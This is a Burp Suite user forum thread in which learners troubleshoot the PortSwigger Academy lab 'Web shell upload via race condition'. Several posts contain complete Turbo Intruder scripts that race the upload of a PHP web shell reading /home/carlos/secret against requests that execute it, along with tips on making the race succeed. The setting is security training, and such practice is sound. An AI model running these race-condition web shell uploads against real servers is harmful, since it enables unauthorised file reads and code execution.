Burp Suite User Forum

Create new post

Web shell upload via race condition

Tran | Last updated: Feb 05, 2022 03:16PM UTC

Hello everyone, I cannot solve Lab: Web shell upload via race condition, even though following "Solution" or any video solution. This is my configured in turbo intruder: def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=100,) request1 = ''' POST /my-account/avatar HTTP/1.1 Host: acf21f031fb8e36dc04b030a000e00a8.web-security-academy.net Cookie: session=L1SfhsvyCgeAlPgEKb3O1se9PiUE5XbM Content-Length: 480 Cache-Control: max-age=0 Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://acf21f031fb8e36dc04b030a000e00a8.web-security-academy.net Content-Type: multipart/form-data; boundary=----WebKitFormBoundary85e06qBjVoo8EyBq User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://acf21f031fb8e36dc04b030a000e00a8.web-security-academy.net/my-account?id=wiener Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundary85e06qBjVoo8EyBq Content-Disposition: form-data; name="avatar"; filename="exploit.php" Content-Type: application/octet-stream <?php echo file_get_contents('/home/carlos/secret'); ?> ------WebKitFormBoundary85e06qBjVoo8EyBq Content-Disposition: form-data; name="user" wiener ------WebKitFormBoundary85e06qBjVoo8EyBq Content-Disposition: form-data; name="csrf" bx2CGCVAEdCT6ttzJx6YY3lOqh6rRFNf ------WebKitFormBoundary85e06qBjVoo8EyBq-- ''' request2 = ''' GET /files/avatars/exploit.php HTTP/1.1 Host: acf21f031fb8e36dc04b030a000e00a8.web-security-academy.net Cookie: session=L1SfhsvyCgeAlPgEKb3O1se9PiUE5XbM Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://acf21f031fb8e36dc04b030a000e00a8.web-security-academy.net/my-account Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ''' # the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) I ran it then the table print 1 res status 403 followed by 5 res status 0 with 1 word "null". I'll glad for your feedback. Best regards.

Ben, PortSwigger Agent | Last updated: Feb 07, 2022 11:04AM UTC

Hi, I am struggling to replicate this behaviour. Just to clarify a couple of things - you are creating the Turbo Intruder attack from the requests that have been generated by following the steps earlier in the solution? In addition, do you see this behaviour every time you try to solve the lab i.e. if you let the lab instance expire (this should happen after about 20 minutes of idle time), launch a new lab session and recreate the attack.

Alex | Last updated: Feb 11, 2022 10:05PM UTC

I was experiencing the same thing until I added another newline (\r\n) to the end of the requests.

Jonny | Last updated: Mar 11, 2022 09:40AM UTC

I'm having the same issue. I just get a 403 for the initial POST request and then null responses for the GET requests which take a while to come back. I had a go at it on my own and then followed the walkthrough and have similarly looked at solution videos. No dice. Have tried /r/n and multiple /r/n on the requests and just on the last request and still no luck. A nudge in the right direction much appreciated.

Jonny | Last updated: Mar 11, 2022 09:51AM UTC

Actually, adding /r/n to the end of my requests didn't work, but adding in an actual spare line after the main body of the GET request but within the speech marks worked. So the end of my request was: Connection: close ''' Hope that helps somebody.

Hautakangas | Last updated: Apr 26, 2022 12:42PM UTC

The above did the trick for me too, thanks Jonny!

Ehsan | Last updated: Sep 02, 2022 04:35AM UTC

Thanks Jonny, It worked for me as well.

Entoni | Last updated: Nov 29, 2022 09:50PM UTC

Hello! I can't solve the lab same TS wrote in first messages(( Following to solutions, get in Turbo intruder: Post reguest: HTTP/1.1 403 Forbidden Date: Tue, 29 Nov 2022 21:49:39 GMT Server: Apache/2.4.41 (Ubuntu) Keep-Alive: timeout=5, max=100 Connection: close Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Content-Length: 158 Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">ý Back to My Account</a></p> Get rquests: null null null nulll could you try to pass all steps your self And, i can't understand, where i should add syntaxis /r/n

Entoni | Last updated: Nov 29, 2022 10:03PM UTC

Well, i passed th lab, there is no clear information in solutions: Need to add same for GET request too Right-click on the GET from Proxy history GET /my-account request that was used to submit the file upload and select Extensions > Turbo Intruder > Send to turbo intruder. The Turbo Intruder window opens. and finally, it was script: def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) request1 = '''POST /my-account/avatar HTTP/1.1 Host: 0ad9005904025e1cc0296cbc00d600e1.web-security-academy.net Cookie: session=lk6KeY4S94rLkpu7zGwU0MY6S3m8AENF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_0_7; rv:116.0) Gecko/20010101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------30651944466778873711754572708 Content-Length: 542 Origin: https://0ad9005904025e1cc0296cbc00d600e1.web-security-academy.net Referer: https://0ad9005904025e1cc0296cbc00d600e1.web-security-academy.net/my-account?id=wiener Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Dnt: 1 Sec-Gpc: 1 Te: trailers Connection: close -----------------------------30651944466778873711754572708 Content-Disposition: form-data; name="avatar"; filename="exploit.php" Content-Type: application/x-php <?php echo file_get_contents('/home/carlos/secret'); ?> -----------------------------30651944466778873711754572708 Content-Disposition: form-data; name="user" wiener -----------------------------30651944466778873711754572708 Content-Disposition: form-data; name="csrf" 1FRTFm6ednz3E1klqcfNlmttBv7ArqXw -----------------------------30651944466778873711754572708-- ''' request2 = '''GET /files/avatars/exploit.php HTTP/1.1 Host: 0ad9005904025e1cc0296cbc00d600e1.web-security-academy.net Cookie: session=qsAiISwQEBibYvDUncw4YsFnwfe65kGg User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_14_4; rv:122.0) Gecko/20000101 Firefox/122.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://0ad9005904025e1cc0296cbc00d600e1.web-security-academy.net/my-account/avatar Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Dnt: 1 Sec-Gpc: 1 Te: trailers Connection: close ''' # the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req)

Ben, PortSwigger Agent | Last updated: Nov 30, 2022 07:53AM UTC

Hi Entoni, Glad to hear that you were able to pass this lab - can you clarify which part of the solution you felt was not clear?

lexuannghia143 | Last updated: Dec 27, 2022 01:03AM UTC

This should work def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) request1 = '''POST /my-account/avatar HTTP/1.1 Host: 0a95005803be4d68c5a922430018008e.web-security-academy.net Cookie: session=y4fkAiMTVDSM9ewSkr8uf5Q4pjH9Aj6y Content-Length: 108429 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://0a95005803be4d68c5a922430018008e.web-security-academy.net Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydJBAPDsPT2Cmwej9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0a95005803be4d68c5a922430018008e.web-security-academy.net/my-account Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundarydJBAPDsPT2Cmwej9 Content-Disposition: form-data; name="avatar"; filename="hack.php" Content-Type: image/jpeg <?php echo file_get_contents('/home/carlos/secret'); ?> ------WebKitFormBoundarydJBAPDsPT2Cmwej9 Content-Disposition: form-data; name="user" wiener ------WebKitFormBoundarydJBAPDsPT2Cmwej9 Content-Disposition: form-data; name="csrf" 9UJ9ieqapSmvxohjQcdTq5o7z26Crl0l ------WebKitFormBoundarydJBAPDsPT2Cmwej9--\r\n ''' request2 = '''GET /files/avatars/hack.php HTTP/1.1 Host: 0a95005803be4d68c5a922430018008e.web-security-academy.net Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36 Connection: close Cache-Control: max-age=0\r\n ''' # the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) Make sure to add \r\n (to present the end of line) and the request's first line should be next to the triple quotes, not on a new line.

Bart | Last updated: Dec 28, 2022 10:50AM UTC

For me what did the trick was editing the code to do more requests than the 5 it does as written. I did about 15, make sure you update concurrentConnections as well ;)

ajmewal | Last updated: Jun 23, 2023 03:34AM UTC

The POST request shows method not allowed def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) request1 ='''POST /my-account/avatar HTTP/2 Host: 0a6e00af04f64c938091177700550087.web-security-academy.net Cookie: session=CKwTJi4OCfnRJ29RfIKNxLno5A0sLjxE Content-Length: 478 Cache-Control: max-age=0 Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://0a6e00af04f64c938091177700550087.web-security-academy.net Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJA2NAVAzH7vwLduD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0a6e00af04f64c938091177700550087.web-security-academy.net/my-account Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 ------WebKitFormBoundaryJA2NAVAzH7vwLduD Content-Disposition: form-data; name="avatar"; filename="expliot.php" Content-Type: image/jpeg <?php echo file_get_contents('/home/carlos/secret'); ?> ------WebKitFormBoundaryJA2NAVAzH7vwLduD Content-Disposition: form-data; name="user" wiener ------WebKitFormBoundaryJA2NAVAzH7vwLduD Content-Disposition: form-data; name="csrf" rfKbcZtlGoLF3AVKY7UPeIG9wXt3pxgi ------WebKitFormBoundaryJA2NAVAzH7vwLduD-- ''' request2 = '''GET /files/avatars/exploit.php HTTP/2 Host: 0a6e00af04f64c938091177700550087.web-security-academy.net Cookie: session=CKwTJi4OCfnRJ29RfIKNxLno5A0sLjxE Cache-Control: max-age=0 Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 ''' # the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req)

Ben, PortSwigger Agent | Last updated: Jun 23, 2023 08:34AM UTC

Hi, Are you able to provide us with a screenshot (or multiple screenshots) of your Turbo Intruder attack and also the result that you are seeing when you run the attack?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.